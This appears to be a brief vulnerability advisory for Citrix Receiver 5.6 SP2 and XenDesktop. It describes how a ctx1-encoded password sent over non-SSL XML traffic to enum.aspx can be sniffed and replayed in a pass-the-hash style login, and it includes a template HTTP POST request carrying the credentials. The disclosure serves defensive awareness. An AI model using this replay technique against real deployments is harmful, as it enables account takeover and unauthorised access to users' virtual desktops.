Tested against: Citrix XenDesktop, XenServer, Receiver 5.6 SP2 (possibly other versions as well)

By default, the authentication between the Citrix Receiver client to the Web interface is not configured to use SSL. If a company elects not to use SSL for this, the XML transaction between the receiver client and the Web Interface server to enum.aspx and launch.aspx contains the username and encoded password of the user.  If an attacker can sniff this authentication traffic, they can use the encoded password to perform a "pass-the-hash" type attack to log in as the user via Citrix Receiver and gain access to the users Virtual Desktop(s).

POST /Citrix/XDPNAgent/enum.aspx HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: C:\PROGRA~1\Citrix\ICACLI~1\PNAMain.exe
Host: xxx.xxx.xxx.xxx
Content-Length: 705
Connection: Keep-Alive
Cache-Control: no-cache

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE NFuseProtocol SYSTEM "NFuse.dtd"><NFuseProtocol version="4.6"><RequestAppData><Scope traverse="onelevel" type="PNFolder">$PRELAUNCH$</Scope><DesiredDetails>permissions</DesiredDetails><DesiredDetails>icon-info</DesiredDetails><DesiredDetails>all</DesiredDetails><ServerType>x</ServerType><ServerType>win32</ServerType><ClientType>ica30</ClientType><ClientType>content</ClientType><Credentials><UserName>domain\myuser</UserName><Password encoding="ctx1">ENCODEDPASSWORDHERE</Password><Domain type="NT"></Domain></Credentials><ClientName>COMPUTER01</ClientName><ClientAddress>xxx.xxx.xxx.xxx</ClientAddress></RequestAppData></NFuseProtocol>

More information on how it works:
http://eelsivart.blogspot.com/2011/12/citrix-receiver-xendesktop-pass-hash.html